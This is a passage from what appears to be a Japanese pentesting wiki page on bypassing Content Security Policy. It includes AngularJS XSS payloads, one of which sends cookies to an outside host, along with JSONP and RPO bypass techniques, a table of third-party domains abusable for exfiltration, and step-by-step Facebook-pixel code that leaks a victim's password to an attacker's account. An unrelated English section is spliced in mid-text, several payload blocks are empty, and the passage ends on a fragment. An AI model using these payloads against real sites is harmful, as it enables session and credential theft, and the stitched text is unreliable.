{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
[[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
```
### サードパーティのエンドポイント + JSONP
```http
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
```
以下のようなシナリオでは、`script-src` が `self` と特定のホワイトリストに登録されたドメインに設定されている場合、JSONP を使用してバイパスすることができます。JSONP エンドポイントはセキュリティの弱いコールバックメソッドを許可するため、攻撃者はXSSを実行することができます。動作するペイロード:
```markup
">
">
```
```html
https://www.youtube.com/oembed?callback=alert;
```
[**JSONBee**](https://github.com/zigoo0/JSONBee) **には、さまざまなウェブサイトのCSP バイパス用のJSONP エンドポイントが含まれています。**
**信頼されたエンドポイントにオープンリダイレクトが含まれている場合、同じ脆弱性が発生します**。初期エンドポイントが信頼されている場合、リダイレクトも信頼されます。
### サードパーティの悪用
[次の投稿](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses)で説明されているように、CSP で許可されている可能性がある多くのサードパーティドメインは、データの外部流出やJavaScript コードの実行など、悪用される可能性があります。これらのサードパーティの一部は次のとおりです:
| エンティティ | 許可されたドメイン | 機能 |
|--------|----------------|--------------|
| Facebook | www.facebook.com, *.facebook.com | 外部流出 |
| Hotjar | *.hotjar.com, ask.hotjar.io | 外部流出 |
| Jsdelivr | *.jsdelivr.com, cdn.jsdelivr.net | 実行 |
| Amazon CloudFront | *.cloudfront.net | 外部流出、実行 |
| Amazon AWS | *.amazonaws.com | 外部流出、実行 |
| Azure Websites | *.azurewebsites.net, *.azurestaticapps.net | 外部流出、実行 |
| Salesforce Heroku | *.herokuapp.com | 外部流出、実行 |
| Google Firebase | *.firebaseapp.com | 外部流出、実行 |
ターゲットのCSP で許可されているドメインの中にいずれかが見つかった場合、そのサードパーティサービスに登録して、データを外部流出させるかコードを実行する可能性があります。
たとえば、次のCSP が見つかった場合:
```
Content-Security-Policy: default-src 'self’ www.facebook.com;
```
## Content Security Policy (CSP) Bypass
### Introduction
In some scenarios, you may encounter a website that has a strict Content Security Policy (CSP) in place, which restricts the sources from which certain types of content can be loaded on the page. However, there are ways to bypass CSP protections and execute malicious scripts on the target website.
### Bypass Techniques
1. **Inline Script Execution**: By finding a way to execute inline scripts, you can bypass CSP restrictions that block inline scripts.
2. **Unsafe Eval**: Leveraging the `eval()` function can help bypass CSP restrictions that block the use of `eval` or `Function` for executing dynamic code.
3. **Data: URI**: Using data: URIs to load script content can bypass CSP restrictions on loading scripts from external sources.
4. **Trusted Types Bypass**: Exploiting vulnerabilities in Trusted Types can allow bypassing CSP protections.
### Conclusion
Understanding how to bypass CSP protections is crucial for a penetration tester to identify and exploit potential security vulnerabilities in web applications. By utilizing various techniques like inline script execution, unsafe eval, data: URI, and Trusted Types bypass, you can effectively bypass CSP restrictions and execute malicious scripts on target websites.
```
Content-Security-Policy: connect-src www.facebook.com;
```
1. [こちら](https://www.facebook.com/)でFacebook Developerアカウントを作成します。
1. 新しい「Facebook Login」アプリを作成し、「Website」を選択します。
1. 「Settings -> Basic」に移動し、「App ID」を取得します。
1. データを外部流出させたい対象サイトでは、Facebook SDKガジェット「fbq」を使用して「customEvent」とデータペイロードを介してデータを外部流出させることができます。
1. アプリの「Event Manager」に移動し、作成したアプリケーションを選択します(イベントマネージャーは次のようなURLで見つけることができます:https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events)
1. 「Test Events」タブを選択して、「あなたの」ウェブサイトから送信されるイベントを確認します。
その後、被害者側で、以下のコードを実行してFacebookトラッキングピクセルを初期化し、攻撃者のFacebook Developerアカウントのapp-idを指すようにし、次のようにカスタムイベントを発行します:
```JavaScript
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});
```
### RPO(Relative Path Overwrite)を介したバイパス
前述のパス制限をバイパスするためのリダイレクトに加えて、一部のサーバーで使用できるRelative Path Overwrite(RPO)と呼ばれる別のテクニックがあります。
たとえば、CSPがパス`https://example.com/scripts/react/`を許可している場合、次のようにバイパスできます:
```html
```
ブラウザは最終的に `https://example.com/scripts/angular/angular.js` を読み込みます。
これは、ブラウザにとって、`https://example.com/scripts/react/` の下にある `..%2fangular%2fangular.js` という名前のファイルを読み込んでいるため、CSPに準拠しています。
したがって、それらはそれをデコードし、効果的に `https://example.com/scripts/react/../angular/angular.js` をリクエストし、これは `https://example.com/scripts/angular/angular.js` と同等です。
**ブラウザとサーバー間のURL解釈の不一致を悪用することで、パスのルールをバイパス**することができます。
解決策は、サーバーサイドで `%2f` を `/` として扱わないようにし、ブラウザとサーバー間の一貫した解釈を確保してこの問題を回避することです。
オンライン例:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
### Iframes JS実行
{% content-ref url="../xss-cross-site-scripting/iframes-in-xss-and-csp.md" %}
[iframes-in-xss-and-csp.md](../xss-cross-site-scripting/iframes-in-xss-and-csp.md)
{% endcontent-ref %}
### **base-uri** が欠落している場合
**base-uri** ディレクティブが欠落している場合、[**dangling markup injection**](../dangling-markup-html-scriptless-injection/) を実行するために悪用できます。
さらに、**ページがNonceを使用して相対パスでスクリプトを読み込んでいる場合**(例:`
ng-app"ng-csp ng-click=$event.view.alert(1337)>